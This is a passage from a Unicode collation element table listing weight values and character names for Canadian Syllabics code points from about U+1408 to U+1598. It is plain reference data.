[.33FF.0020.0002] # CANADIAN SYLLABICS Y-CREE OO -1408 ; [.3400.0020.0002] # CANADIAN SYLLABICS CARRIER EE -1409 ; [.3401.0020.0002] # CANADIAN SYLLABICS CARRIER I -140A ; [.3402.0020.0002] # CANADIAN SYLLABICS A -140B ; [.3403.0020.0002] # CANADIAN SYLLABICS AA -140C ; [.3404.0020.0002] # CANADIAN SYLLABICS WE -140D ; [.3405.0020.0002] # CANADIAN SYLLABICS WEST-CREE WE -140E ; [.3406.0020.0002] # CANADIAN SYLLABICS WI -140F ; [.3407.0020.0002] # CANADIAN SYLLABICS WEST-CREE WI -1410 ; [.3408.0020.0002] # CANADIAN SYLLABICS WII -1411 ; [.3409.0020.0002] # CANADIAN SYLLABICS WEST-CREE WII -1412 ; [.340A.0020.0002] # CANADIAN SYLLABICS WO -1413 ; [.340B.0020.0002] # CANADIAN SYLLABICS WEST-CREE WO -1414 ; [.340C.0020.0002] # CANADIAN SYLLABICS WOO -1415 ; [.340D.0020.0002] # CANADIAN SYLLABICS WEST-CREE WOO -1416 ; [.340E.0020.0002] # CANADIAN SYLLABICS NASKAPI WOO -1417 ; [.340F.0020.0002] # CANADIAN SYLLABICS WA -1418 ; [.3410.0020.0002] # CANADIAN SYLLABICS WEST-CREE WA -1419 ; [.3411.0020.0002] # CANADIAN SYLLABICS WAA -141A ; [.3412.0020.0002] # CANADIAN SYLLABICS WEST-CREE WAA -141B ; [.3413.0020.0002] # CANADIAN SYLLABICS NASKAPI WAA -141C ; [.3414.0020.0002] # CANADIAN SYLLABICS AI -141D ; [.3415.0020.0002] # CANADIAN SYLLABICS Y-CREE W -141E ; [.3416.0020.0002] # CANADIAN SYLLABICS GLOTTAL STOP -141F ; [.3417.0020.0002] # CANADIAN SYLLABICS FINAL ACUTE -1420 ; [.3418.0020.0002] # CANADIAN SYLLABICS FINAL GRAVE -1421 ; [.3419.0020.0002] # CANADIAN SYLLABICS FINAL BOTTOM HALF RING -1422 ; [.341A.0020.0002] # CANADIAN SYLLABICS FINAL TOP HALF RING -1423 ; [.341B.0020.0002] # CANADIAN SYLLABICS FINAL RIGHT HALF RING -1424 ; [.341C.0020.0002] # CANADIAN SYLLABICS FINAL RING -1425 ; [.341D.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE ACUTE -1426 ; [.341E.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE SHORT VERTICAL STROKES -1427 ; [.341F.0020.0002] # CANADIAN SYLLABICS FINAL MIDDLE DOT -1428 ; [.3420.0020.0002] # CANADIAN SYLLABICS FINAL SHORT HORIZONTAL STROKE -1429 ; [.3421.0020.0002] # CANADIAN SYLLABICS FINAL PLUS -142A ; [.3422.0020.0002] # CANADIAN SYLLABICS FINAL DOWN TACK -142B ; [.3423.0020.0002] # CANADIAN SYLLABICS EN -142C ; [.3424.0020.0002] # CANADIAN SYLLABICS IN -142D ; [.3425.0020.0002] # CANADIAN SYLLABICS ON -142E ; [.3426.0020.0002] # CANADIAN SYLLABICS AN -142F ; [.3427.0020.0002] # CANADIAN SYLLABICS PE -1430 ; [.3428.0020.0002] # CANADIAN SYLLABICS PAAI -1431 ; [.3429.0020.0002] # CANADIAN SYLLABICS PI -1432 ; [.342A.0020.0002] # CANADIAN SYLLABICS PII -1433 ; [.342B.0020.0002] # CANADIAN SYLLABICS PO -1434 ; [.342C.0020.0002] # CANADIAN SYLLABICS POO -1435 ; [.342D.0020.0002] # CANADIAN SYLLABICS Y-CREE POO -1436 ; [.342E.0020.0002] # CANADIAN SYLLABICS CARRIER HEE -1437 ; [.342F.0020.0002] # CANADIAN SYLLABICS CARRIER HI -1438 ; [.3430.0020.0002] # CANADIAN SYLLABICS PA -1439 ; [.3431.0020.0002] # CANADIAN SYLLABICS PAA -143A ; [.3432.0020.0002] # CANADIAN SYLLABICS PWE -143B ; [.3433.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWE -143C ; [.3434.0020.0002] # CANADIAN SYLLABICS PWI -143D ; [.3435.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWI -143E ; [.3436.0020.0002] # CANADIAN SYLLABICS PWII -143F ; [.3437.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWII -1440 ; [.3438.0020.0002] # CANADIAN SYLLABICS PWO -1441 ; [.3439.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWO -1442 ; [.343A.0020.0002] # CANADIAN SYLLABICS PWOO -1443 ; [.343B.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWOO -1444 ; [.343C.0020.0002] # CANADIAN SYLLABICS PWA -1445 ; [.343D.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWA -1446 ; [.343E.0020.0002] # CANADIAN SYLLABICS PWAA -1447 ; [.343F.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWAA -1448 ; [.3440.0020.0002] # CANADIAN SYLLABICS Y-CREE PWAA -1449 ; [.3441.0020.0002] # CANADIAN SYLLABICS P -144A ; [.3442.0020.0002] # CANADIAN SYLLABICS WEST-CREE P -144B ; [.3443.0020.0002] # CANADIAN SYLLABICS CARRIER H -144C ; [.3444.0020.0002] # CANADIAN SYLLABICS TE -144D ; [.3445.0020.0002] # CANADIAN SYLLABICS TAAI -144E ; [.3446.0020.0002] # CANADIAN SYLLABICS TI -144F ; [.3447.0020.0002] # CANADIAN SYLLABICS TII -1450 ; [.3448.0020.0002] # CANADIAN SYLLABICS TO -1451 ; [.3449.0020.0002] # CANADIAN SYLLABICS TOO -1452 ; [.344A.0020.0002] # CANADIAN SYLLABICS Y-CREE TOO -1453 ; [.344B.0020.0002] # CANADIAN SYLLABICS CARRIER DEE -1454 ; [.344C.0020.0002] # CANADIAN SYLLABICS CARRIER DI -1455 ; [.344D.0020.0002] # CANADIAN SYLLABICS TA -1456 ; [.344E.0020.0002] # CANADIAN SYLLABICS TAA -1457 ; [.344F.0020.0002] # CANADIAN SYLLABICS TWE -1458 ; [.3450.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWE -1459 ; [.3451.0020.0002] # CANADIAN SYLLABICS TWI -145A ; [.3452.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWI -145B ; [.3453.0020.0002] # CANADIAN SYLLABICS TWII -145C ; [.3454.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWII -145D ; [.3455.0020.0002] # CANADIAN SYLLABICS TWO -145E ; [.3456.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWO -145F ; [.3457.0020.0002] # CANADIAN SYLLABICS TWOO -1460 ; [.3458.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWOO -1461 ; [.3459.0020.0002] # CANADIAN SYLLABICS TWA -1462 ; [.345A.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWA -1463 ; [.345B.0020.0002] # CANADIAN SYLLABICS TWAA -1464 ; [.345C.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWAA -1465 ; [.345D.0020.0002] # CANADIAN SYLLABICS NASKAPI TWAA -1466 ; [.345E.0020.0002] # CANADIAN SYLLABICS T -1467 ; [.345F.0020.0002] # CANADIAN SYLLABICS TTE -1468 ; [.3460.0020.0002] # CANADIAN SYLLABICS TTI -1469 ; [.3461.0020.0002] # CANADIAN SYLLABICS TTO -146A ; [.3462.0020.0002] # CANADIAN SYLLABICS TTA -146B ; [.3463.0020.0002] # CANADIAN SYLLABICS KE -146C ; [.3464.0020.0002] # CANADIAN SYLLABICS KAAI -146D ; [.3465.0020.0002] # CANADIAN SYLLABICS KI -146E ; [.3466.0020.0002] # CANADIAN SYLLABICS KII -146F ; [.3467.0020.0002] # CANADIAN SYLLABICS KO -1470 ; [.3468.0020.0002] # CANADIAN SYLLABICS KOO -1471 ; [.3469.0020.0002] # CANADIAN SYLLABICS Y-CREE KOO -1472 ; [.346A.0020.0002] # CANADIAN SYLLABICS KA -1473 ; [.346B.0020.0002] # CANADIAN SYLLABICS KAA -1474 ; [.346C.0020.0002] # CANADIAN SYLLABICS KWE -1475 ; [.346D.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWE -1476 ; [.346E.0020.0002] # CANADIAN SYLLABICS KWI -1477 ; [.346F.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWI -1478 ; [.3470.0020.0002] # CANADIAN SYLLABICS KWII -1479 ; [.3471.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWII -147A ; [.3472.0020.0002] # CANADIAN SYLLABICS KWO -147B ; [.3473.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWO -147C ; [.3474.0020.0002] # CANADIAN SYLLABICS KWOO -147D ; [.3475.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWOO -147E ; [.3476.0020.0002] # CANADIAN SYLLABICS KWA -147F ; [.3477.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWA -1480 ; [.3478.0020.0002] # CANADIAN SYLLABICS KWAA -1481 ; [.3479.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWAA -1482 ; [.347A.0020.0002] # CANADIAN SYLLABICS NASKAPI KWAA -1483 ; [.347B.0020.0002] # CANADIAN SYLLABICS K -1484 ; [.347C.0020.0002] # CANADIAN SYLLABICS KW -1485 ; [.347D.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KEH -1486 ; [.347E.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KIH -1487 ; [.347F.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KOH -1488 ; [.3480.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KAH -1489 ; [.3481.0020.0002] # CANADIAN SYLLABICS CE -148A ; [.3482.0020.0002] # CANADIAN SYLLABICS CAAI -148B ; [.3483.0020.0002] # CANADIAN SYLLABICS CI -148C ; [.3484.0020.0002] # CANADIAN SYLLABICS CII -148D ; [.3485.0020.0002] # CANADIAN SYLLABICS CO -148E ; [.3486.0020.0002] # CANADIAN SYLLABICS COO -148F ; [.3487.0020.0002] # CANADIAN SYLLABICS Y-CREE COO -1490 ; [.3488.0020.0002] # CANADIAN SYLLABICS CA -1491 ; [.3489.0020.0002] # CANADIAN SYLLABICS CAA -1492 ; [.348A.0020.0002] # CANADIAN SYLLABICS CWE -1493 ; [.348B.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWE -1494 ; [.348C.0020.0002] # CANADIAN SYLLABICS CWI -1495 ; [.348D.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWI -1496 ; [.348E.0020.0002] # CANADIAN SYLLABICS CWII -1497 ; [.348F.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWII -1498 ; [.3490.0020.0002] # CANADIAN SYLLABICS CWO -1499 ; [.3491.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWO -149A ; [.3492.0020.0002] # CANADIAN SYLLABICS CWOO -149B ; [.3493.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWOO -149C ; [.3494.0020.0002] # CANADIAN SYLLABICS CWA -149D ; [.3495.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWA -149E ; [.3496.0020.0002] # CANADIAN SYLLABICS CWAA -149F ; [.3497.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWAA -14A0 ; [.3498.0020.0002] # CANADIAN SYLLABICS NASKAPI CWAA -14A1 ; [.3499.0020.0002] # CANADIAN SYLLABICS C -14A2 ; [.349A.0020.0002] # CANADIAN SYLLABICS SAYISI TH -14A3 ; [.349B.0020.0002] # CANADIAN SYLLABICS ME -14A4 ; [.349C.0020.0002] # CANADIAN SYLLABICS MAAI -14A5 ; [.349D.0020.0002] # CANADIAN SYLLABICS MI -14A6 ; [.349E.0020.0002] # CANADIAN SYLLABICS MII -14A7 ; [.349F.0020.0002] # CANADIAN SYLLABICS MO -14A8 ; [.34A0.0020.0002] # CANADIAN SYLLABICS MOO -14A9 ; [.34A1.0020.0002] # CANADIAN SYLLABICS Y-CREE MOO -14AA ; [.34A2.0020.0002] # CANADIAN SYLLABICS MA -14AB ; [.34A3.0020.0002] # CANADIAN SYLLABICS MAA -14AC ; [.34A4.0020.0002] # CANADIAN SYLLABICS MWE -14AD ; [.34A5.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWE -14AE ; [.34A6.0020.0002] # CANADIAN SYLLABICS MWI -14AF ; [.34A7.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWI -14B0 ; [.34A8.0020.0002] # CANADIAN SYLLABICS MWII -14B1 ; [.34A9.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWII -14B2 ; [.34AA.0020.0002] # CANADIAN SYLLABICS MWO -14B3 ; [.34AB.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWO -14B4 ; [.34AC.0020.0002] # CANADIAN SYLLABICS MWOO -14B5 ; [.34AD.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWOO -14B6 ; [.34AE.0020.0002] # CANADIAN SYLLABICS MWA -14B7 ; [.34AF.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWA -14B8 ; [.34B0.0020.0002] # CANADIAN SYLLABICS MWAA -14B9 ; [.34B1.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWAA -14BA ; [.34B2.0020.0002] # CANADIAN SYLLABICS NASKAPI MWAA -14BB ; [.34B3.0020.0002] # CANADIAN SYLLABICS M -14BC ; [.34B4.0020.0002] # CANADIAN SYLLABICS WEST-CREE M -14BD ; [.34B5.0020.0002] # CANADIAN SYLLABICS MH -14BE ; [.34B6.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN M -14BF ; [.34B7.0020.0002] # CANADIAN SYLLABICS SAYISI M -14C0 ; [.34B8.0020.0002] # CANADIAN SYLLABICS NE -14C1 ; [.34B9.0020.0002] # CANADIAN SYLLABICS NAAI -14C2 ; [.34BA.0020.0002] # CANADIAN SYLLABICS NI -14C3 ; [.34BB.0020.0002] # CANADIAN SYLLABICS NII -14C4 ; [.34BC.0020.0002] # CANADIAN SYLLABICS NO -14C5 ; [.34BD.0020.0002] # CANADIAN SYLLABICS NOO -14C6 ; [.34BE.0020.0002] # CANADIAN SYLLABICS Y-CREE NOO -14C7 ; [.34BF.0020.0002] # CANADIAN SYLLABICS NA -14C8 ; [.34C0.0020.0002] # CANADIAN SYLLABICS NAA -14C9 ; [.34C1.0020.0002] # CANADIAN SYLLABICS NWE -14CA ; [.34C2.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWE -14CB ; [.34C3.0020.0002] # CANADIAN SYLLABICS NWA -14CC ; [.34C4.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWA -14CD ; [.34C5.0020.0002] # CANADIAN SYLLABICS NWAA -14CE ; [.34C6.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWAA -14CF ; [.34C7.0020.0002] # CANADIAN SYLLABICS NASKAPI NWAA -14D0 ; [.34C8.0020.0002] # CANADIAN SYLLABICS N -14D1 ; [.34C9.0020.0002] # CANADIAN SYLLABICS CARRIER NG -14D2 ; [.34CA.0020.0002] # CANADIAN SYLLABICS NH -14D3 ; [.34CB.0020.0002] # CANADIAN SYLLABICS LE -14D4 ; [.34CC.0020.0002] # CANADIAN SYLLABICS LAAI -14D5 ; [.34CD.0020.0002] # CANADIAN SYLLABICS LI -14D6 ; [.34CE.0020.0002] # CANADIAN SYLLABICS LII -14D7 ; [.34CF.0020.0002] # CANADIAN SYLLABICS LO -14D8 ; [.34D0.0020.0002] # CANADIAN SYLLABICS LOO -14D9 ; [.34D1.0020.0002] # CANADIAN SYLLABICS Y-CREE LOO -14DA ; [.34D2.0020.0002] # CANADIAN SYLLABICS LA -14DB ; [.34D3.0020.0002] # CANADIAN SYLLABICS LAA -14DC ; [.34D4.0020.0002] # CANADIAN SYLLABICS LWE -14DD ; [.34D5.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWE -14DE ; [.34D6.0020.0002] # CANADIAN SYLLABICS LWI -14DF ; [.34D7.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWI -14E0 ; [.34D8.0020.0002] # CANADIAN SYLLABICS LWII -14E1 ; [.34D9.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWII -14E2 ; [.34DA.0020.0002] # CANADIAN SYLLABICS LWO -14E3 ; [.34DB.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWO -14E4 ; [.34DC.0020.0002] # CANADIAN SYLLABICS LWOO -14E5 ; [.34DD.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWOO -14E6 ; [.34DE.0020.0002] # CANADIAN SYLLABICS LWA -14E7 ; [.34DF.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWA -14E8 ; [.34E0.0020.0002] # CANADIAN SYLLABICS LWAA -14E9 ; [.34E1.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWAA -14EA ; [.34E2.0020.0002] # CANADIAN SYLLABICS L -14EB ; [.34E3.0020.0002] # CANADIAN SYLLABICS WEST-CREE L -14EC ; [.34E4.0020.0002] # CANADIAN SYLLABICS MEDIAL L -14ED ; [.34E5.0020.0002] # CANADIAN SYLLABICS SE -14EE ; [.34E6.0020.0002] # CANADIAN SYLLABICS SAAI -14EF ; [.34E7.0020.0002] # CANADIAN SYLLABICS SI -14F0 ; [.34E8.0020.0002] # CANADIAN SYLLABICS SII -14F1 ; [.34E9.0020.0002] # CANADIAN SYLLABICS SO -14F2 ; [.34EA.0020.0002] # CANADIAN SYLLABICS SOO -14F3 ; [.34EB.0020.0002] # CANADIAN SYLLABICS Y-CREE SOO -14F4 ; [.34EC.0020.0002] # CANADIAN SYLLABICS SA -14F5 ; [.34ED.0020.0002] # CANADIAN SYLLABICS SAA -14F6 ; [.34EE.0020.0002] # CANADIAN SYLLABICS SWE -14F7 ; [.34EF.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWE -14F8 ; [.34F0.0020.0002] # CANADIAN SYLLABICS SWI -14F9 ; [.34F1.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWI -14FA ; [.34F2.0020.0002] # CANADIAN SYLLABICS SWII -14FB ; [.34F3.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWII -14FC ; [.34F4.0020.0002] # CANADIAN SYLLABICS SWO -14FD ; [.34F5.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWO -14FE ; [.34F6.0020.0002] # CANADIAN SYLLABICS SWOO -14FF ; [.34F7.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWOO -1500 ; [.34F8.0020.0002] # CANADIAN SYLLABICS SWA -1501 ; [.34F9.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWA -1502 ; [.34FA.0020.0002] # CANADIAN SYLLABICS SWAA -1503 ; [.34FB.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWAA -1504 ; [.34FC.0020.0002] # CANADIAN SYLLABICS NASKAPI SWAA -1505 ; [.34FD.0020.0002] # CANADIAN SYLLABICS S -1506 ; [.34FE.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN S -1507 ; [.34FF.0020.0002] # CANADIAN SYLLABICS SW -1508 ; [.3500.0020.0002] # CANADIAN SYLLABICS BLACKFOOT S -1509 ; [.3501.0020.0002] # CANADIAN SYLLABICS MOOSE-CREE SK -150A ; [.3502.0020.0002] # CANADIAN SYLLABICS NASKAPI SKW -150B ; [.3503.0020.0002] # CANADIAN SYLLABICS NASKAPI S-W -150C ; [.3504.0020.0002] # CANADIAN SYLLABICS NASKAPI SPWA -150D ; [.3505.0020.0002] # CANADIAN SYLLABICS NASKAPI STWA -150E ; [.3506.0020.0002] # CANADIAN SYLLABICS NASKAPI SKWA -150F ; [.3507.0020.0002] # CANADIAN SYLLABICS NASKAPI SCWA -1510 ; [.3508.0020.0002] # CANADIAN SYLLABICS SHE -1511 ; [.3509.0020.0002] # CANADIAN SYLLABICS SHI -1512 ; [.350A.0020.0002] # CANADIAN SYLLABICS SHII -1513 ; [.350B.0020.0002] # CANADIAN SYLLABICS SHO -1514 ; [.350C.0020.0002] # CANADIAN SYLLABICS SHOO -1515 ; [.350D.0020.0002] # CANADIAN SYLLABICS SHA -1516 ; [.350E.0020.0002] # CANADIAN SYLLABICS SHAA -1517 ; [.350F.0020.0002] # CANADIAN SYLLABICS SHWE -1518 ; [.3510.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWE -1519 ; [.3511.0020.0002] # CANADIAN SYLLABICS SHWI -151A ; [.3512.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWI -151B ; [.3513.0020.0002] # CANADIAN SYLLABICS SHWII -151C ; [.3514.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWII -151D ; [.3515.0020.0002] # CANADIAN SYLLABICS SHWO -151E ; [.3516.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWO -151F ; [.3517.0020.0002] # CANADIAN SYLLABICS SHWOO -1520 ; [.3518.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWOO -1521 ; [.3519.0020.0002] # CANADIAN SYLLABICS SHWA -1522 ; [.351A.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWA -1523 ; [.351B.0020.0002] # CANADIAN SYLLABICS SHWAA -1524 ; [.351C.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWAA -1525 ; [.351D.0020.0002] # CANADIAN SYLLABICS SH -1526 ; [.351E.0020.0002] # CANADIAN SYLLABICS YE -1527 ; [.351F.0020.0002] # CANADIAN SYLLABICS YAAI -1528 ; [.3520.0020.0002] # CANADIAN SYLLABICS YI -1529 ; [.3521.0020.0002] # CANADIAN SYLLABICS YII -152A ; [.3522.0020.0002] # CANADIAN SYLLABICS YO -152B ; [.3523.0020.0002] # CANADIAN SYLLABICS YOO -152C ; [.3524.0020.0002] # CANADIAN SYLLABICS Y-CREE YOO -152D ; [.3525.0020.0002] # CANADIAN SYLLABICS YA -152E ; [.3526.0020.0002] # CANADIAN SYLLABICS YAA -152F ; [.3527.0020.0002] # CANADIAN SYLLABICS YWE -1530 ; [.3528.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWE -1531 ; [.3529.0020.0002] # CANADIAN SYLLABICS YWI -1532 ; [.352A.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWI -1533 ; [.352B.0020.0002] # CANADIAN SYLLABICS YWII -1534 ; [.352C.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWII -1535 ; [.352D.0020.0002] # CANADIAN SYLLABICS YWO -1536 ; [.352E.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWO -1537 ; [.352F.0020.0002] # CANADIAN SYLLABICS YWOO -1538 ; [.3530.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWOO -1539 ; [.3531.0020.0002] # CANADIAN SYLLABICS YWA -153A ; [.3532.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWA -153B ; [.3533.0020.0002] # CANADIAN SYLLABICS YWAA -153C ; [.3534.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWAA -153D ; [.3535.0020.0002] # CANADIAN SYLLABICS NASKAPI YWAA -153E ; [.3536.0020.0002] # CANADIAN SYLLABICS Y -153F ; [.3537.0020.0002] # CANADIAN SYLLABICS BIBLE-CREE Y -1540 ; [.3538.0020.0002] # CANADIAN SYLLABICS WEST-CREE Y -1541 ; [.3539.0020.0002] # CANADIAN SYLLABICS SAYISI YI -1542 ; [.353A.0020.0002] # CANADIAN SYLLABICS RE -1543 ; [.353B.0020.0002] # CANADIAN SYLLABICS R-CREE RE -1544 ; [.353C.0020.0002] # CANADIAN SYLLABICS WEST-CREE LE -1545 ; [.353D.0020.0002] # CANADIAN SYLLABICS RAAI -1546 ; [.353E.0020.0002] # CANADIAN SYLLABICS RI -1547 ; [.353F.0020.0002] # CANADIAN SYLLABICS RII -1548 ; [.3540.0020.0002] # CANADIAN SYLLABICS RO -1549 ; [.3541.0020.0002] # CANADIAN SYLLABICS ROO -154A ; [.3542.0020.0002] # CANADIAN SYLLABICS WEST-CREE LO -154B ; [.3543.0020.0002] # CANADIAN SYLLABICS RA -154C ; [.3544.0020.0002] # CANADIAN SYLLABICS RAA -154D ; [.3545.0020.0002] # CANADIAN SYLLABICS WEST-CREE LA -154E ; [.3546.0020.0002] # CANADIAN SYLLABICS RWAA -154F ; [.3547.0020.0002] # CANADIAN SYLLABICS WEST-CREE RWAA -1550 ; [.3548.0020.0002] # CANADIAN SYLLABICS R -1551 ; [.3549.0020.0002] # CANADIAN SYLLABICS WEST-CREE R -1552 ; [.354A.0020.0002] # CANADIAN SYLLABICS MEDIAL R -1553 ; [.354B.0020.0002] # CANADIAN SYLLABICS FE -1554 ; [.354C.0020.0002] # CANADIAN SYLLABICS FAAI -1555 ; [.354D.0020.0002] # CANADIAN SYLLABICS FI -1556 ; [.354E.0020.0002] # CANADIAN SYLLABICS FII -1557 ; [.354F.0020.0002] # CANADIAN SYLLABICS FO -1558 ; [.3550.0020.0002] # CANADIAN SYLLABICS FOO -1559 ; [.3551.0020.0002] # CANADIAN SYLLABICS FA -155A ; [.3552.0020.0002] # CANADIAN SYLLABICS FAA -155B ; [.3553.0020.0002] # CANADIAN SYLLABICS FWAA -155C ; [.3554.0020.0002] # CANADIAN SYLLABICS WEST-CREE FWAA -155D ; [.3555.0020.0002] # CANADIAN SYLLABICS F -155E ; [.3556.0020.0002] # CANADIAN SYLLABICS THE -155F ; [.3557.0020.0002] # CANADIAN SYLLABICS N-CREE THE -1560 ; [.3558.0020.0002] # CANADIAN SYLLABICS THI -1561 ; [.3559.0020.0002] # CANADIAN SYLLABICS N-CREE THI -1562 ; [.355A.0020.0002] # CANADIAN SYLLABICS THII -1563 ; [.355B.0020.0002] # CANADIAN SYLLABICS N-CREE THII -1564 ; [.355C.0020.0002] # CANADIAN SYLLABICS THO -1565 ; [.355D.0020.0002] # CANADIAN SYLLABICS THOO -1566 ; [.355E.0020.0002] # CANADIAN SYLLABICS THA -1567 ; [.355F.0020.0002] # CANADIAN SYLLABICS THAA -1568 ; [.3560.0020.0002] # CANADIAN SYLLABICS THWAA -1569 ; [.3561.0020.0002] # CANADIAN SYLLABICS WEST-CREE THWAA -156A ; [.3562.0020.0002] # CANADIAN SYLLABICS TH -156B ; [.3563.0020.0002] # CANADIAN SYLLABICS TTHE -156C ; [.3564.0020.0002] # CANADIAN SYLLABICS TTHI -156D ; [.3565.0020.0002] # CANADIAN SYLLABICS TTHO -156E ; [.3566.0020.0002] # CANADIAN SYLLABICS TTHA -156F ; [.3567.0020.0002] # CANADIAN SYLLABICS TTH -1570 ; [.3568.0020.0002] # CANADIAN SYLLABICS TYE -1571 ; [.3569.0020.0002] # CANADIAN SYLLABICS TYI -1572 ; [.356A.0020.0002] # CANADIAN SYLLABICS TYO -1573 ; [.356B.0020.0002] # CANADIAN SYLLABICS TYA -1574 ; [.356C.0020.0002] # CANADIAN SYLLABICS NUNAVIK HE -1575 ; [.356D.0020.0002] # CANADIAN SYLLABICS NUNAVIK HI -1576 ; [.356E.0020.0002] # CANADIAN SYLLABICS NUNAVIK HII -1577 ; [.356F.0020.0002] # CANADIAN SYLLABICS NUNAVIK HO -1578 ; [.3570.0020.0002] # CANADIAN SYLLABICS NUNAVIK HOO -1579 ; [.3571.0020.0002] # CANADIAN SYLLABICS NUNAVIK HA -157A ; [.3572.0020.0002] # CANADIAN SYLLABICS NUNAVIK HAA -157B ; [.3573.0020.0002] # CANADIAN SYLLABICS NUNAVIK H -157D ; [.3574.0020.0002] # CANADIAN SYLLABICS HK -166F ; [.3575.0020.0002] # CANADIAN SYLLABICS QAI -157E ; [.3576.0020.0002] # CANADIAN SYLLABICS QAAI -157F ; [.3577.0020.0002] # CANADIAN SYLLABICS QI -1580 ; [.3578.0020.0002] # CANADIAN SYLLABICS QII -1581 ; [.3579.0020.0002] # CANADIAN SYLLABICS QO -1582 ; [.357A.0020.0002] # CANADIAN SYLLABICS QOO -1583 ; [.357B.0020.0002] # CANADIAN SYLLABICS QA -1584 ; [.357C.0020.0002] # CANADIAN SYLLABICS QAA -1585 ; [.357D.0020.0002] # CANADIAN SYLLABICS Q -1586 ; [.357E.0020.0002] # CANADIAN SYLLABICS TLHE -1587 ; [.357F.0020.0002] # CANADIAN SYLLABICS TLHI -1588 ; [.3580.0020.0002] # CANADIAN SYLLABICS TLHO -1589 ; [.3581.0020.0002] # CANADIAN SYLLABICS TLHA -158A ; [.3582.0020.0002] # CANADIAN SYLLABICS WEST-CREE RE -158B ; [.3583.0020.0002] # CANADIAN SYLLABICS WEST-CREE RI -158C ; [.3584.0020.0002] # CANADIAN SYLLABICS WEST-CREE RO -158D ; [.3585.0020.0002] # CANADIAN SYLLABICS WEST-CREE RA -1670 ; [.3586.0020.0002] # CANADIAN SYLLABICS NGAI -158E ; [.3587.0020.0002] # CANADIAN SYLLABICS NGAAI -158F ; [.3588.0020.0002] # CANADIAN SYLLABICS NGI -1590 ; [.3589.0020.0002] # CANADIAN SYLLABICS NGII -1591 ; [.358A.0020.0002] # CANADIAN SYLLABICS NGO -1592 ; [.358B.0020.0002] # CANADIAN SYLLABICS NGOO -1593 ; [.358C.0020.0002] # CANADIAN SYLLABICS NGA -1594 ; [.358D.0020.0002] # CANADIAN SYLLABICS NGAA -1595 ; [.358E.0020.0002] # CANADIAN SYLLABICS NG -1671 ; [.358F.0020.0002] # CANADIAN SYLLABICS NNGI -1672 ; [.3590.0020.0002] # CANADIAN SYLLABICS NNGII -1673 ; [.3591.0020.0002] # CANADIAN SYLLABICS NNGO -1674 ; [.3592.0020.0002] # CANADIAN SYLLABICS NNGOO -1675 ; [.3593.0020.0002] # CANADIAN SYLLABICS NNGA -1676 ; [.3594.0020.0002] # CANADIAN SYLLABICS NNGAA -1596 ; [.3595.0020.0002] # CANADIAN SYLLABICS NNG -1597 ; [.3596.0020.0002] # CANADIAN SYLLABICS SAYISI SHE -1598 ; 